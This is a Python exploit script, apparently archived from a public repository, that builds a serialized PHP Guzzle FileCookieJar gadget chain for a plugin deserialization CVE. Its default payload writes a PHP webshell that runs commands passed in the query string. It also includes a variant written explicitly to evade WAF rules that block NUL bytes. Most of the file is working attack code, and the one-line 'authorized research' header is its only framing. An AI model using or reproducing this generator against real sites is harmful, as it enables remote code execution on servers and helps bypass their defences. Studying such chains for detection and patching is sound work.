#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/im0xfay/CVE-2026-119077 (see README for attribution/license)
"""
wsdesk_payload.py — serialized PHP object generator for CVE-2026-119077.

Builds a `GuzzleHttp\\Cookie\\FileCookieJar` gadget chain (bundled in the plugin's own
`vendor/` tree) whose `__destruct()` writes an attacker-controlled file.

Why this chain:
  * FileCookieJar::__destruct() -> save($filename) -> file_put_contents()
  * only uses classes the plugin already autoloads
  * Guzzle writes a JSON array, but PHP still executes any `<?php ?>` block inside a
    file regardless of surrounding text -> the written file is a working webshell
  * therefore the PHP payload must NOT contain a double quote (JSON escapes it)

Equivalent to `phpggc Guzzle/FW1` without the dependency.
"""

from __future__ import annotations

_CLASS_JAR = "GuzzleHttp\\Cookie\\CookieJar"
_CLASS_FILEJAR = "GuzzleHttp\\Cookie\\FileCookieJar"
_CLASS_SETCOOKIE = "GuzzleHttp\\Cookie\\SetCookie"


def _s(value: bytes) -> bytes:
    """A serialized PHP string: s:<len>:"<raw>";  (raw bytes, length in bytes)."""
    return b's:%d:"' % len(value) + value + b'";'


def _private(prop: str, cls: str) -> bytes:
    """Serialized name of a private property: NUL + class + NUL + prop."""
    return b"\x00" + cls.encode() + b"\x00" + prop.encode()


def _prop(prop: str, cls: str, value: bytes) -> bytes:
    """key + value pair for a private property."""
    return _s(_private(prop, cls)) + value


DEFAULT_PHP = b"<?php system(current($_GET)); ?>"


def file_cookie_jar(path: str, data: bytes) -> bytes:
    """Serialize GuzzleHttp\\Cookie\\FileCookieJar with the given filename + file body."""
    if isinstance(data, str):
        data = data.encode("latin1")
    if b'"' in data:
        raise ValueError("payload must not contain a double quote")
    if b"\x00" in data or b"\x00" in path.encode():
        raise ValueError("path/payload must not contain NUL")

    # SetCookie: private $data = ['Expires'=>1,'Discard'=>false,'Value'=>$data]
    inner_arr = (
        b"a:3:{"
        + _s(b"Expires") + b"i:1;"
        + _s(b"Discard") + b"b:0;"
        + _s(b"Value") + _s(data)
        + b"}"
    )
    setcookie = (
        b'O:%d:"' % len(_CLASS_SETCOOKIE) + _CLASS_SETCOOKIE.encode() + b'":1:{'
        + _prop("data", _CLASS_SETCOOKIE, inner_arr)
        + b"}"
    )

    # CookieJar: private $cookies = [SetCookie], private $strictMode = null
    cookies = b"a:1:{i:0;" + setcookie + b"}"
    jar_props = (
        _prop("cookies", _CLASS_JAR, cookies)
        + _prop("strictMode", _CLASS_JAR, b"N;")
    )

    # FileCookieJar adds private $filename and private $storeSessionCookies
    filejar_props = jar_props + (
        _prop("filename", _CLASS_FILEJAR, _s(path.encode()))
        + _prop("storeSessionCookies", _CLASS_FILEJAR, b"b:1;")
    )

    return (
        b'O:%d:"' % len(_CLASS_FILEJAR) + _CLASS_FILEJAR.encode() + b'":4:{'
        + filejar_props
        + b"}"
    )


# ---------------------------------------------------------------- WAF-resistant variant

def _sstr(value: bytes) -> bytes:
    """Serialized string that avoids literal NUL / backslash / quote bytes.

    PHP's `S:` form stores the payload as printable escapes (\00, \5c, \22)
    while keeping the declared length in raw bytes; `unserialize()` reconstructs
    the exact original string. Wire bytes therefore stay in the printable ASCII
    range, which defeats WAF rules that flag raw NUL (e.g. CRS 920270).
    """
    if b"\\" in value or b"\x00" in value or b'"' in value:
        esc = (value.replace(b"\\", b"\\5c")
                    .replace(b"\x00", b"\\00")
                    .replace(b'"', b'\\22'))
        return b'S:%d:"' % len(value) + esc + b'";'
    return b's:%d:"' % len(value) + value + b'";'


def file_cookie_jar_s(path: str, data: bytes) -> bytes:
    """Same gadget as file_cookie_jar() but serialized in `S:` (escape) form.

    No literal NUL byte appears anywhere in the returned payload, so request
    bodies built from it survive WAF rules that reject NUL characters. Requires
    PHP >= 7.0 (the `S:` format was added in PHP 7.0).
    """
    if isinstance(data, str):
        data = data.encode("latin1")
    if b'"' in data:
        raise ValueError("payload must not contain a double quote")
    inner = (b"a:3:{" + _sstr(b"Expires") + b"i:1;"
             + _sstr(b"Discard") + b"b:0;"
             + _sstr(b"Value") + _sstr(data) + b"}")
    setcookie = (b'O:%d:"' % len(_CLASS_SETCOOKIE) + _CLASS_SETCOOKIE.encode()
                 + b'":1:{' + _sstr(_private("data", _CLASS_SETCOOKIE)) + inner + b"}")
    cookies = b"a:1:{i:0;" + setcookie + b"}"
    props = (_sstr(_private("cookies", _CLASS_JAR)) + cookies
             + _sstr(_private("strictMode", _CLASS_JAR)) + b"N;"
             + _sstr(_private("filename", _CLASS_FILEJAR)) + _sstr(path.encode())
             + _sstr(_private("storeSessionCookies", _CLASS_FILEJAR)) + b"b:1;")
    return (b'O:%d:"' % len(_CLASS_FILEJAR) + _CLASS_FILEJAR.encode() + b'":4:{'
            + props + b"}")


if __name__ == "__main__":
    import sys

    target_path = sys.argv[1] if len(sys.argv) > 1 else "/tmp/probe.php"
    sys.stdout.buffer.write(file_cookie_jar(target_path, DEFAULT_PHP))
